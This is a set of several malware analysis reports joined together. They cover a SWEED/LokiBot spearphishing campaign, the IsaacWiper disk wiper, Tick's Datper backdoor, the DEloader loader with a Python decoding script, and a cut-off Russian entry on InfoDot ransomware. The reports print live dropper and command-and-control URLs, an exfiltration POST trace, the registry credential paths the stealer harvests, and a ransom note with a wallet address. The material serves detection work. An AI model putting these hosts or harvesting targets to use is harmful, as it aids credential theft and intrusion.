# SWEED Targeting Precision Engineering Companies in Italy ## Introduction Today I’d like to share a quick analysis of an interesting attack targeting precision engineering companies based in Italy. Precision engineering is a very important business market in Europe; it includes developing mechanical equipment for automotive, railways, heavy industries, and military-grade technology. The attacker pretended to be a customer and sent to the victim a well-crafted email containing a Microsoft XLS file including real spear-parts codes, quantities, and shipping addresses. A very similar attack schema to the MartyMCFly campaign. ## Technical Analysis **Hash:** 863934c1fa4378799ed0c3e353603ba0bee3a357a5c63d845fe0d7f4ebc1a64c **Threat:** Microsoft Excel Document **Brief:** Exploiter, Dropper, and Executor targeting precision engineering companies **Description:** Ssdeep 384:janC18qmTUKhKVxbo6JpM2gwmeJxQrHwFeDtug/uND40C2D:janCOqm4tVxE6rM2g0fO2exuxC0FD On 2019-10-26, a well-crafted email coming from [email protected] asking for an economic proposal reached specific email boxes belonging to the purchasing department of a well-known precision engineering company. Basically, the attacker asks the victims to quote the entire list of spear-parts included in an attached Excel document. The source address looks genuine since it belongs to a big company working in the textile field, which frequently uses precision equipment machines in its production chain. ## Attacker **Spreadsheet looking real** Once the victim opens up the document, it would actually see a “looking real” Microsoft Excel spreadsheet. Surprisingly, the spreadsheet doesn’t hold Macro code, so no weird message would appear and no weird requests for enabling macros or compatibility mode would appear on the victim screen. Everything looks real except for the third object included in the Excel file. **Object-3 exploiting CVE-2017-11882.** If you are familiar with CVE-2017-11882, you might notice it immediately, but if you aren’t, you might take a look to HERE (for the exploit generation) to HERE (for an example) and HERE (for CVE original disclosure). In a nutshell, CVE-2017-11882 is a 17-year-old memory corruption issue in Microsoft Office (including Office 360). When exploited successfully, it can let attackers execute remote code on a vulnerable machine—even without user interaction—after a malicious document is opened. The flaw resides within Equation Editor (EQNEDT32.EXE), a component in Microsoft Office that inserts or edits Object Linking and Embedding (OLE) objects in documents. Once the victim opens the document, apparently nothing happens, but silently Object3 runs EquationEditor and exploits a memory corruption vulnerability executing code on the running host. ## Equation Editor Crashes and Execute Code The code execution implements a romantic Drop and Execute code by dropping a Windows PE file from: http://mail.hajj.zeem.sa/wp-admin/edu/educrety.exe and by running it directly in memory exploiting fileless behavior. ## Analysis of Dropped PE File **Hash:** 64114c398f1c14d4e840f62395edd9a8c43d834708f8d8fce12f8a6502b0e981 **Threat:** Sensitive data stealer **Brief description:** Looks for stored passwords and tries to push them on command and control servers **Ssdeep:** 6144:htbOljxWyjJypr+QqhdJdUwcPWFNEwXh/XEVOwG6Fro:h9OXByoXLU7eFNEwREVOJv educrety.exe The dropped PE (educrety.exe) is compiled by Microsoft Visual C++ and holds a nice icon. According to VT history detection, the same hash has been seen with at least three different names: educrety.exe, prestezza.exe, and cardsharper.exe. ExifTools shows that prestezza.exe is the original file name while the project internal name is cardsharper.exe. Once the sample is run, it harvests information from many registry keys where vendors are used to save access credentials or access tokens. **Registry Keys:** - HKEY_LOCAL_MACHINE\Software\NCH Software\Fling\Accounts - HKEY_CURRENT_USER\Software\NCH Software\Fling\Accounts - HKEY_LOCAL_MACHINE\Software\NCH Software\ClassicFTP\FTPAccounts - HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts - HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions - HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions - HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions - HKEY_LOCAL_MACHINE\Software\9bis.com\KiTTY\Sessions - HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird - HKEY_CURRENT_USER\Software\IncrediMail\Identities - HKEY_LOCAL_MACHINE\Software\IncrediMail\Identities - HKEY_CURRENT_USER\Software\Martin Prikryl - HKEY_LOCAL_MACHINE\Software\Martin Prikryl - HKEY_LOCAL_MACHINE\SOFTWARE\Postbox\Postbox - HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\FossaMail - HKEY_CURRENT_USER\Software\WinChips\UserAccounts - HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook Once it gets credentials, it pushes them on a command and control server: http://www.corpcougar.com/edu/Panel/five/fre.php in the following way: ``` POST /edu/Panel/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.corpcougar.com Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: EEABFA Content-Length: 190 Connection: close ``` ## Network Trace Considering the User-Agent, the net-trace, and most of all the pushing path, it reminds me of LokiBot Malware. “Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.” – PhishMe. Playing a little bit with command and control, it turns out more than one Command and Control was installed on the same domain, each one owns a different path, and the sample I’ve analyzed was currently using only one path. It makes sense since VT collected different samples related to the analyzed one which would probably include different malware campaigns and different artifact names. ## ATT&CK TTP Summary Following MITRE ATT&CK compiled according to what was found: - **Initial Access:** T1193 (Spearphishing Attachment) - **Execution:** T1204 (User Execution) - **Defense Evasion:** - T1107 (File Deletion – deletes original file after infection) - T1158: Hidden Files and Directories - T1045: Software Packing – threat comes packed/encrypted - **Credential Access:** - T1003: Credential Dumping - T1081: Credentials in Files - T1214: Credentials in Registry - **Collection:** T1005: Data from Local System - **Exfiltration:** T1002: Data Encrypted - **Command and Control:** - T1043: Commonly Used Port - T1071: Standard Application Layer Protocol ## Conclusions According to Cisco Talos, a large number of ongoing malware distribution including such notable malware as Formbook, Lokibot, and Agent Tesla could be related to a singular threat actor called “SWEED.” I did find many similarities including original attack vectors, used Microsoft Office Exploit, implementation of LokiBot, and victims type to “SWEED,” so I believe this attack could also be attributed to the same threat actor. Moreover, the used techniques and the care of the overall attack, which included a study on the victim products (you remember the real spear-parts in the excel file?) reminds me of a more recent analysis made by Fortinet, so I believe it might be attributed to the same threat actor as well as the described attack. Finally, I think “SWEED” threat actor is attacking Italian precision engineering companies. TTPs and communication schema are so close to each other that it’s hard to believe in fortuity. ## IoC - 863934c1fa4378799ed0c3e353603ba0bee3a357a5c63d845fe0d7f4ebc1a64c (MalDoc) - 64114c398f1c14d4e840f62395edd9a8c43d834708f8d8fce12f8a6502b0e981 (dropped) - http://mail.hajj.zeem.sa/wp-admin/edu/educrety.exe (dropping URL) - http://www.corpcougar.com/edu/Panel/five/fre.php (C2) - [email protected] (eMail) ## Yara Rule ```yara import "pe" rule educrety { meta: description = "a - file educrety.exe" date = "2019-10-27" hash1 = "64114c398f1c14d4e840f62395edd9a8c43d834708f8d8fce12f8a6502b0e981" strings: $x1 = "C:\\xampp\\htdocs\\BuilderTest\\8fa3c458f356fcd36f352a5923691b32\\Release\\Project1.pdb" fullword ascii $s2 = "prestezza.exe" fullword wide $s3 = "hxikekatmipxycmzxzdzyjvjvbauhwajtoqytlpiphvdjeptultdnxoycrwnhxikekatmipxycmzxzdzyjvjvbauhwajtoqytlpiphvdjeptu" fullword ascii $s4 = "auhwajtoqytlpiphvdjeptultdnxoycrwnhxikekatmipxycmzxzdzyjvjvbauhwajtoqytlpiphvdjeptultdnxoycrwnhxikekatmipxycm" fullword ascii $s5 = "jvjvbauhwajtoqytlpiphvdjeptultdnxoycrwnhxikekatmipxycmzxzdzyjvjvbauhwajtoqytlpiphvdjeptultd" fullword ascii $s6 = "cardsharper.exe" fullword wide $s7 = "8BAndVNaiTqIJaSMbWPhG3OnQybcZriOD73f3HId4JvZZf8QducIzH3eWmFNUKj0LLeKfMRDoLm6IYxKzu7FpJp5dYrRb3rtzDn" fullword ascii $s8 = "0auylusmslgqkcklxtxksvnfn00crwnhxikekatmipxycmzxzdzyjvjvbauhwajtoqytlpiphvdjeptultdnxoy7.(" fullword ascii $s9 = "Aerdaekatmipxycmzxzdzyjvjvbauhwajtoqytlpiphvdjeptultdnxoycrwnhxik" fullword ascii $s10 = "ipxycmzxzdzyjvjvbauhwajtoqytlpiphvdjeptultdnxoycrwnhxikekatmipxycmzxzdzyjvjvbauhwajt?py(lpiphvdjeptultdnxoycrwnhxikK" fullword ascii $s11 = "i,hBdXe5tAl5d+x-yRrZn)x[kVkQt@iDxMc+zLzIz;jEjEb\"uEw'jEoHyAl2i2h@d_eDtLlGd_xAy" fullword ascii $s12 = "all-encompassing" fullword wide $s13 = "mzxzdzyjvjvbauhwajtoqytlpiphvdjept" fullword ascii $s14 = "ytlpiphvdjeptultdnxoycrwnhxikekatmipx" fullword ascii $s15 = "operator co_await" fullword ascii $s16 = "iphvd+e2t6l0d+x)y$r?n!x#k.k-t i>x6c=z)z6z*j\"j#b7u?w9j-o+ytlpi" fullword ascii $s17 = "operator<=>" fullword ascii $s18 = "Uqipxvdj5qtul4dnhoycpwnmxhkekathiqxycmzxZnzynvjvbaujwa" fullword ascii $s19 = "IYxKzu7FpJp5dYrRb3rtzDn8BAndVNaiTqIJaSMbWPhG3OnQybcZriOD73f3HId4JvZZf8QducIzH3eWmFNUKj0LLeKfMRDoLm6IYxKzu7FpJ" fullword ascii $s20 = "NaiTqIJaSMbWPhG3OnQybcZriOD73f3HId4JvZZf8QducIzH3eWmFNUKj0LLeKfMRDoLm6IYxKzu7FpJp5dYrRb3rtzDn8BAndVNaiTqIJaSM" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 2000KB and ( pe.imphash() == "f9ea456264964fa19880b9033ecc9db2" or ( 1 of ($x*) or 4 of them ) ) } rule order { meta: description = "a - file order.xlsx" date = "2019-10-27" hash1 = "863934c1fa4378799ed0c3e353603ba0bee3a357a5c63d845fe0d7f4ebc1a64c" strings: $s1 = "xl/printerSettings/printerSettings1.binUT" fullword ascii $s2 = "xl/printerSettings/printerSettings2.binUT" fullword ascii $s3 = "xl/worksheets/_rels/sheet2.xml.relsUT" fullword ascii $s4 = "xl/worksheets/_rels/sheet1.xml.relsUT" fullword ascii $s5 = "[Content_Types].xmlUT" fullword ascii $s6 = "xl/_rels/workbook.xml.relsUT" fullword ascii $s7 = "xl/embeddings/oleObject1.binUT" fullword ascii $s8 = "xl/sharedStrings.xmlUT" fullword ascii $s9 = "xl/worksheets/sheet2.xmlUT" fullword ascii $s10 = "xl/worksheets/sheet1.xmlUT" fullword ascii $s11 = "xl/worksheets/sheet3.xmlUT" fullword ascii $s12 = "xl/drawings/vmlDrawing1.vmlUT" fullword ascii $s13 = "docProps/app.xmlUT" fullword ascii $s14 = "xl/workbook.xmlUT" fullword ascii $s15 = "xl/theme/theme1.xmlUT" fullword ascii $s16 = "docProps/core.xmlUT" fullword ascii $s17 = "_rels/.relsUT" fullword ascii $s18 = "xl/styles.xmlUT" fullword ascii condition: uint16(0) == 0x4b50 and filesize < 50KB and 8 of them } ```
# New Wiper Malware Used Against Ukrainian Organizations **Malware March 4, 2022** By John Dwyer co-authored by Kevin Henson ## March 7, 2022 Update A correction has been applied to this blog; further analysis of the wiper malware revealed that the wiper leverages an implementation of the Mersenne Twister pseudorandom number generator (PRNG) and not ISAAC PRNG as originally reported. This blog has been updated to change references from ISAAC PRNG to Mersenne Twister PRNG. On February 24, 2022, ESET reported another destructive wiper detected at a Ukrainian government organization dubbed as IsaacWiper. This is the third sample of malware IBM Security X-Force has analyzed which has been reportedly targeting systems belonging to Ukrainian organizations. IBM Security X-Force obtained a sample of the IsaacWiper malware and has provided the following technical analysis, indicators of compromise, and detections. ## IsaacWiper Analysis IsaacWiper is a destructive C++ malware that has been reported as being used in targeted campaigns against Ukrainian organizations. The original filename of the analyzed sample is “Cleaner.dll” and contains a compile date of February 25, 2022, 15:48:07 UTC. Upon execution, the function Start() is executed, which begins by creating a log file within %ProgramData%. Following the creation of the log file, the wiper enumerates all physical drives on the target system by calling DeviceIoControl() with the control code IOCTL_STORAGE_GET_DEVICE_NUMBER. IsaacWiper checks the resulting physical drive list for devices with type 7 (FILE_DEVICE_DISK) to identify disk volumes and physical drives. With a list of disk objects, IsaacWiper leverages IOCTL_DISK_GET_DRIVE_GEOMETRY_EX and GetDiskFreeSpaceExW() to obtain the size and available free space of each disk. **Logfile %ProgramData%\log.txt generated by the IsaacWiper sample analyzed by IBM Security X-Force:** ``` getting drives... physical drives: -- system physical drive 0: PhysicalDrive0 logical drives: -- system logical drive: C: -- logical drive: D: start erasing system physical drive... system physical drive -- FAILED start erasing system logical drive C: ``` To begin the wiping activity, IsaacWiper leverages CreateFileW() and DeviceIoControl() with control code FSCTL_LOCK_VOLUME to lock the drive. With the drive locked, the wiper function first targets the PhysicalDrive by generating data created with a Mersenne Twister pseudorandom number generator (PRNG) and overwriting the first 0x100000 bytes of the physical drive with the PRNG data. After overwriting the PhysicalDrive, the malware starts overwriting drives and files. If the wiper can’t open a file, the file is renamed to a temporary file containing “Tmf” and a random four-character string (example: Tmf3360.tmp) and overwritten with Mersenne Twister PRNG data. If a volume can’t be accessed, the wiper creates a hidden temporary directory and writes a file to it at the root of the volume (ex: %SystemDrive%\Tmd1234.tmp\Tmf5432.tmp). The temporary file Tmf5432.tmp is then filled with random data until the volume is out of space. ## Detection IBM Security X-Force has developed the following Yara signature to help identify instances of the IsaacWiper malware: ```yara import "pe" rule XFTI_IsaacWiper : IsaacWiper { meta: author = "IBM X-Force Threat Intelligence Malware Team" description = "Detects the IsaacWiper destructive malware based on the debug messages and imports." threat_type = "Malware" rule_category = "Malware Family" usage = "Hunting and Identification" hash = "13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033" yara_version = "4.0.2" date_created = "3 Mar 22" date_updated = "" reference = "" strings: $log_s6 = "getting drives" ascii wide nocase $log_s7 = "start erasing physical drives" ascii wide nocase $log_s8 = "start erasing logical drive" ascii wide nocase $log_s9 = "start erasing system physical drive" ascii wide nocase $log_s10 = "system physical drive" ascii wide nocase $log_s11 = "start erasing system logical drive" ascii wide nocase condition: 3 of ($log*) and (pe.dll_name == "Cleaner.dll" or (pe.imports("kernel32.dll", "GetTickCount") and pe.imports("kernel32.dll", "DeviceIoControl"))) } ``` ## Indicators of Compromise **File System:** - Tmd<4 char>.tmp - Tmf<4 char>.tmp - %ProgramData%\log.txt **Notable Strings:** - PhysicalDrive - \\\.\* - C:\ProgramData\log.txt - getting drives... - physical drives: - -- system physical drive - -- physical drive - logical drives: - -- system logical drive: - -- logical drive: - start erasing physical drives... - -- FAILED - physical drive - -- start erasing logical drive - start erasing system physical drive... - system physical drive -- FAILED - start erasing system logical drive - Cleaner.dll ## Recommendations At this time, X-Force recommends organizations consider implementing the indicators listed in this report into their security operations. Additionally, global businesses should seek to establish sound insight into their respective networks, supply chains, third parties, and partnerships that are based in, or serve in, regional institutions. It is also advised that organizations open lines of communication between relevant information-sharing entities to ensure the receipt and exchange of actionable indicators. If you have questions and want a deeper discussion about the malware and prevention techniques, you can schedule a briefing. Get the latest updates as more information develops on the IBM Security X-Force Exchange and the IBM PSIRT blog. If you are experiencing cybersecurity issues or an incident, contact X-Force to help: US hotline 1-888-241-9812 | Global hotline (+001) 312-212-8034.
# Tracking Tick Through Recent Campaigns Targeting East Asia This blog post is authored by Ashlee Benge and Jungsoo An, with contributions from Dazhuo Li. ## Summary Since 2016, an advanced threat group that Cisco Talos is tracking has carried out cyberattacks against South Korea and Japan. This group is known by several different names: Tick, Redbaldknight, and Bronze Butler. Although each campaign employed custom tools, Talos has observed recurring patterns in the actor's use of infrastructure, from overlaps in hijacked command and control (C2) domains to differing campaign C2s resolving to the same IP. These infrastructure patterns indicate similarities between the Datper, xxmm backdoor, and Emdivi malware families. In this post, we will dive into these parallels and examine the methods used by this actor. ## Introduction The APT threat actor known as "Tick," "Bronze Butler," and "Redbaldknight" has conducted espionage campaigns since 2016 against East Asian countries such as Japan and South Korea. Talos analyzed a recent campaign in which compromised websites located in South Korea and Japan were used as C2 servers for samples belonging to the malware family known as "Datper," which has the ability to execute shell commands on the victim machine and obtain hostnames and drive information. Talos found potential links in shared infrastructure between the malware families Datper, xxmm backdoor, and Emdivi, each of which has been attributed to this threat actor under one of the above three aliases. We obtained this Datper variant through VirusTotal. The sample, written in Delphi code, was submitted toward the end of July 2018. Although the exact attack vector is unclear, the threat actor appears to have selected a legitimate-but-vulnerable Korean laundry service website to host their C2. The website, located at whitepia[.]co.kr, does not use SSL encryption or certificates. The specific URL used for C2 communication is: `hxxp://whitepia[.]co[.]kr/bbs/include/JavaScript.php` Once executed, the Datper variant creates a mutex object called "gyusbaihysezhrj" and retrieves several pieces of information from the victim machine, including system information and keyboard layout. Afterward, the sample attempts to issue an HTTP GET request to the above C2 server, which at the time of this writing, resolved to the IP 111[.]92[.]189[.]19. An example of this request is: ``` GET /bbs/include/JavaScript.php?ycmt=de4fd712fa7e104f1apvdogtw HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: whitepia[.]co.kr Cache-Control: no-cache ``` Unfortunately, at the time of this investigation, the C2 server was unavailable, preventing Talos from investigating C2 communications in greater detail. However, Talos was able to analyze a previous campaign from 2017, which employed a similar sample from this family and used a slightly different mutex, "d4fy3ykdk2ddssr." All samples in the diagram below, associated with the 2017 campaign, implemented mutex object "d4fy3ykdk2ddssr," likely to prevent access from other processes during execution. The actor behind this campaign deployed and managed their C2 infrastructure mainly in South Korea and Japan. We confirmed that the actor periodically changed their C2 infrastructure and appears to have a history of identifying and penetrating vulnerable websites located in these countries. In addition to whitepia[.]co[.]kr, we identified other instances of compromised websites used as C2 servers. It is possible the malware samples are being delivered using web-based attacks, such as drive-by downloads or watering hole attacks. Additionally, Talos identified hosts used as C2 servers that may not be connected to a compromised website. This indicates the possibility that the threat actor may have initially deployed their C2 server infrastructure on legitimately obtained (and potentially purchased) hosts. Overlaps in the compromised websites used as C2 domains suggest links to another malware family known as "xxmm backdoor" (or alternatively, "Murim" or "Wrim"), a malware family that allows an attacker to install additional malware. The GET request URI paths of xxmm backdoor and Datper are similar, as seen below: - xxmm backdoor: `hxxp://www.amamihanahana.com/diary/archives/a_/2/index.php` - Datper: `hxxp://www.amamihanahana.com/contact/contact_php/jcode/set.html` Based on the findings above, both tools have used the same websites located in Japan in their C2 infrastructure since 2016. The xxmm sample has the hash `397a5e9dc469ff316c2942ba4b503ff9784f2e84e37ce5d234a87762e0077e25`. The extracted PDB debug symbol paths from the sample are: - `C:\Users\123\Documents\Visual Studio 2010\Projects\shadowWalker\Release\BypassUacDll.pdb` - `C:\Users\123\Documents\Visual Studio 2010\Projects\shadowWalker\Release\loadSetup.pdb` - `C:\Users\123\documents\visual studio 2010\Projects\xxmm2\Release\test2.pdb` - `C:\Users\123\Desktop\xxmm3\x64\Release\ReflectivLoader.pdb` In addition to the links between Datper and xxmm backdoor, a recent Datper variant compiled in March 2018 used a legitimate website as a C2, which resolved to the IP 211[.]13[.]196[.]164. This same IP was used as C2 infrastructure by the Emdivi malware family — a trojan that opens a backdoor on the compromised machine — and was attributed to the threat actor behind the campaign "Blue termite." ## Conclusion Talos' investigation into attacks conducted by this actor indicates commonalities between the Datper, xxmm backdoor, and Emdivi malware families. Specifically, these similarities are in the C2 infrastructure of attacks utilizing these malware families. Some C2 domains used in these attacks resolve to hijacked, legitimate South Korean and Japanese hosts and may have been purchased by the attacker. Successful attacks utilizing these malware families may result in shell commands being run on victim machines, resulting in a potential leak of sensitive information. ## IOCs ### Hashes **Datper** - `c2e87e5c0ed40806949628ab7d66caaf4be06cab997b78a46f096e53a6f49ffc` - `569ceec6ff588ef343d6cb667acf0379b8bc2d510eda11416a9d3589ff184189` - `d91894e366bb1a8362f62c243b8d6e4055a465a7f59327089fa041fe8e65ce30` - `5a6990bfa2414d133b5b7b2c25a6e2dccc4f691ed4e3f453460dee2fbbcf616d` - `7d70d659c421b50604ce3e0a1bf423ab7e54b9df361360933bac3bb852a31849` - `2f6745ccebf8e1d9e3e5284a895206bbb4347cf7daa2371652423aa9b94dfd3d` - `4149da63e78c47fd7f2d49d210f9230b94bf7935699a47e26e5d99836b9fdd11` - `a52c3792d8cef6019ce67203220dc191e207c6ddbdfa51ac385d9493ffe2a83a` - `e71be765cf95bef4900a1cef8f62e263a71d1890a3ecb5df6666b88190e1e53c` **xxmm backdoor** - `397a5e9dc469ff316c2942ba4b503ff9784f2e84e37ce5d234a87762e0077e25` **Emdivi** - `9b8c1830a3b278c2eccb536b5abd39d4033badca2138721d420ab41bb60d8fd2` - `1df4678d7210a339acf5eb786b4f7f1b31c079365bb99ab8028018fa0e849f2e` ### IPs used for C&C communication - 202[.]218[.]32[.]135 - 202[.]191[.]118[.]191 - 110[.]45[.]203[.]133 - 61[.]106[.]60[.]47 - 52[.]84[.]186[.]239 - 111[.]92[.]189[.]19 - 211[.]13[.]196[.]164 ### C&C servers resolving to malicious IPs - `hxxp://www.oonumaboat[.]com/cx/index.php` - `hxxp://www.houeikai[.]or.jp/images/ko-ho.gif` - `hxxp://www.amamihanahana[.]com/contact/contact_php/jcode/set.html` - `hxxp://www.amamihanahana[.]com/diary/archives/a_/2/index.php` - `hxxp://rbb.gol-unkai4[.]com/common/include/index-visual/index.htm` - `hxxp://www.whitepia[.]co.kr/bbs/include/JavaScript.php` - `hxxp://www.adc-home[.]com/28732.html` - `hxxp://www.sakuranorei[.]com.com/blog/index.php`
# Dissecting DEloader Malware with Obfuscation DEloader is a loader malware primarily used to load the Zeus banking trojan. It is a stealth malware designed to keep the payload hidden and encrypted in memory. A payload is dynamically retrieved from a remote HTTPS server. So far, there have been three versions of DEloader captured in the wild: Version 0x10E0700, 0x1050500h, and 0x1120300h. More recently, in version 0x1120300h, code obfuscation was added. The main loader file is a DLL with exports named 'start' or 'begin'. These exports are called by the packer. Essentially, because this DLL is a memory-loaded image, imports and images are relocated via the code in these exports. Earlier versions included a shared file map as a marker for infection. Shared file mapping would contain necessary information for the DEloader to run. If the mapping is found, the data from the map is fed to a decoding algorithm based on RC4, which decodes using a fixed state buffer. This algorithm is later used to decode the buffer downloaded from the command and control (C2) server. The buffer can either be downloaded from the C2 or extracted from the registry, which is later decoded using an embedded RC4 state buffer. C2s are present in an embedded structure known as baseconfig, which consists of configuration and C2 addresses necessary for the loader to operate. In both versions, the static config is in an encoded state. It can have single or multiple C2s, each separated by a semicolon ';'. In earlier versions, the C2 URL was present as an encoded resource on a remote HTTPS server and was downloaded using a GET HTTP/HTTPS request. However, in the latest version, it includes a URL where encoded system internal data is posted, and in return, an encoded data buffer is returned. This data is encoded with the same RC4 state buffer extracted from the static config embedded in the binary. Depending upon an internal flag, it could be compressed as well. The compression algorithm used is unrv2b, which is the same one used in traditional Zeus malware. The integrity of the data is checked against a CRC32 hash DWORD present at the end of the data packet. The raw response can be represented as: ```c struct RawResponse { BYTE Data[len - 4]; DWORD CRC32Data; }; ``` After decompression, the data packet is arranged in a structure consisting of: ```c struct InternalC2Parsed { unsigned int PlaceHolder = 0x1000000; unsigned int Version; // 4 void *PEBuffer_32bit; unsigned int PEBuffer_32bit_len; void *PEBuffer_64bit; unsigned int PEBuffer_64bit_len; void *C2StructDecompressed; int C2StructDecompressed_len; }; ``` Depending upon the type of system, a particular type of payload (32-bit or 64-bit) is injected into process memory. If the system is 64-bit, a well-known technique called "heavens gate" is used to inject into a 64-bit process from a 32-bit running process. Following Python script demonstrates the ability to decode and decompress: ```python #!/usr/bin/env python import ucl def PRGA(S): i = 0 j = 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] # swap K = S[(S[i] + S[j]) % 256] yield K if __name__ == '__main__': plaintext = open("Bindata", "rb").read() import array keystream = [0xD7, 0x81, 0x83, 0xA6, 0x59, 0x4B, 0x88, 0x32, 0xFB, 0x8D, 0x7A, 0x64, 0x08, 0x9F, 0x6D, 0x01, 0x2C, 0xD8, 0x50, 0xCE, 0xA3, 0x4A, 0xF9, 0x21, 0x40, 0x91, 0xE4, 0x28, 0x22, 0xAA, 0x41, 0x0D, 0x68, 0x44, 0xA7, 0xB8, 0xA5, 0xFE, 0x3A, 0x2F, 0x7C, 0xDA, 0x37, 0x94, 0x46, 0x92, 0x86, 0x0A, 0x25, 0xEA, 0x45, 0xB1, 0xAE, 0x7B, 0xE2, 0x3F, 0xBC, 0x7D, 0x84, 0x9A, 0xE5, 0x77, 0x0F, 0xA2, 0xDD, 0x1A, 0x5F, 0xFA, 0x78, 0x67, 0x12, 0x02, 0x03, 0x3B, 0x65, 0x62, 0xF5, 0xBE, 0x8C, 0x27, 0x9D, 0x69, 0xA8, 0x56, 0x5E, 0xE6, 0x61, 0xFF, 0x72, 0x5C, 0x19, 0xD6, 0xD4, 0x6A, 0x52, 0xD2, 0xDC, 0x55, 0xDF, 0x70, 0x18, 0x0C, 0xEE, 0x87, 0x95, 0x07, 0xA1, 0x05, 0xA4, 0x5D, 0xE1, 0x06, 0xB0, 0xC0, 0x29, 0x80, 0x53, 0xE7, 0xE3, 0x93, 0x16, 0xF2, 0x1B, 0x96, 0xDB, 0x90, 0xAC, 0xF6, 0x7E, 0x6F, 0xF1, 0x6C, 0xB6, 0xF4, 0x63, 0xB3, 0x8A, 0xC3, 0xFC, 0x8F, 0x1F, 0x3D, 0x9C, 0x2B, 0xB9, 0xCB, 0x35, 0x2D, 0xA0, 0xC6, 0x74, 0xFD, 0xBF, 0x23, 0xEB, 0xB5, 0x89, 0x82, 0x30, 0xBB, 0x0B, 0x76, 0x17, 0x4F, 0x4E, 0x1E, 0xD9, 0x58, 0x13, 0x6B, 0x26, 0x9E, 0xD0, 0xE0, 0x48, 0xF0, 0x6E, 0xB4, 0x0E, 0xC4, 0xEC, 0x00, 0xD1, 0xCF, 0xC8, 0x7F, 0x20, 0x38, 0x79, 0xCD, 0x49, 0xC7, 0x47, 0xED, 0x31, 0xCA, 0xC1, 0x39, 0xC9, 0x98, 0x1D, 0x33, 0x5A, 0x3E, 0x51, 0x4C, 0x8B, 0x24, 0xB2, 0xB7, 0x4D, 0xE8, 0x54, 0xEF, 0x9B, 0xC5, 0x09, 0xF7, 0x2A, 0x3C, 0xBD, 0x36, 0x71, 0x2E, 0x15, 0xF3, 0xA9, 0x60, 0x10, 0xAF, 0xC2, 0x73, 0x97, 0x34, 0x66, 0x99, 0x8E, 0xDE, 0xAD, 0xAB, 0xBA, 0xF8, 0x11, 0xD5, 0x75, 0x43, 0x57, 0x04, 0xCC, 0xE9, 0x42, 0x85, 0x14, 0x1C, 0x5B, 0xD3] arr = array.array("B", keystream) keystream = PRGA(arr) import sys finBuf = array.array("B") i = 0 for c in plaintext: finBuf.append(ord(c) ^ keystream.next()) i = i + 1 open("FinalData.bin", "wb").write(finBuf.tostring()) ``` To finally decompress the data, we can use ctypes to call the following subroutine in Python. In a more recent version 0x1120300h, source code level obfuscation was added. This type of obfuscation is known as opaque predicates, which makes the process of reverse engineering a bit difficult. The basic idea behind this technique is to include calculation-based comparison instructions that end with a conditional jump, which are not part of the original code but are part of the code path. In the images below, a comparison is shown between a CRC32() function in version 0x1120300h and an earlier version 0x1050500h, demonstrating the multiple junk instructions and paths added with the inclusion of opaque predicates. This is quite evident in the entropy comparison of the binary as a whole. Even the downloaded payload, which is a version of traditional Zeus banking malware, is also obfuscated. Generally, in its unpacked form, it is detected by most antivirus scans, but due to code-level obfuscation, it is marked clean by most major antivirus engines. ## Conclusion DEloader is still under heavy development. DEloader has consistently evolved over the past few years. With the addition of hard obfuscation techniques, it is clear that the authors of DEloader want to make analysis difficult and help it slip past antivirus filters. The use of encryption and compression makes the data sent around the command and control server cryptic and hard to detect using patterns. The payload, which is mostly being delivered, is financial malware designed to steal banking credentials, indicating that the authors are inclined towards monetizing the injection of machines.
# InfoDot Ransomware Этот крипто-вымогатель шифрует данные бизнес-пользователей с помощью алгоритмов AES-256 (режим CBC) и RSA-2048, а затем требует выкуп в 4 BTC, чтобы вернуть файлы. Оригинальное название: в записке не указано. На файле написано: bigdata.exe. **Обнаружения:** - DrWeb -> Trojan.Encoder.29861 - BitDefender -> Trojan.GenericKD.31831899 - ESET-NOD32 -> A Variant Of Generik.BNRBGWT - Kaspersky -> Trojan-Ransom.Win32.Crypren.afgd **Генеалогия:** MorrisBatchCrypt > InfoDot К зашифрованным файлам добавляются расширения: - [email protected] - [email protected] Активность этого крипто-вымогателя пришлась на вторую половину октября 2019 г. Ориентирован на англоязычных пользователей, что не мешает распространять его по всему миру. **Записка с требованием выкупа называется:** help_to_decrypt.html **Содержание записки о выкупе:** ``` Your files encrypted with aes and rsa Contact to this email to get decryption software: [email protected] You can decrypt 3 files before pay any amount, Send your encrypted files to above email Pay 4 Bitcoins to this bitcoin wallet: 1PNvoH3U7qp28dZPRng3ufkA5YHjQjTYZZ to get decryption software ``` **Перевод записки на русский язык:** ``` Ваши файлы зашифрованы с AES и RSA Пишите на этот email, чтобы получить программ расшифровки: [email protected] Вы можете расшифровать 3 файла, прежде оплаты любой суммы. Отправьте ваши зашифрованные файлы на email выше. Заплатите 4 биткойна на этот биткойн-кошелек: 1PNvoH3U7qp28dZPRng3ufkA5YHjQjTYZZ, чтобы получить программe расшифровки ``` **Технические детали:** Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. Нужно всегда использовать актуальную антивирусную защиту! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1. - Использует библиотеку OpenSSL для шифрования и дешифрования файлов. - После уплаты выкупа пострадавший получает файлы в формате [email protected] с инструкциями по расшифровке, которые не позволяют расшифровать файлы или содержат ошибку в наборе команд. - 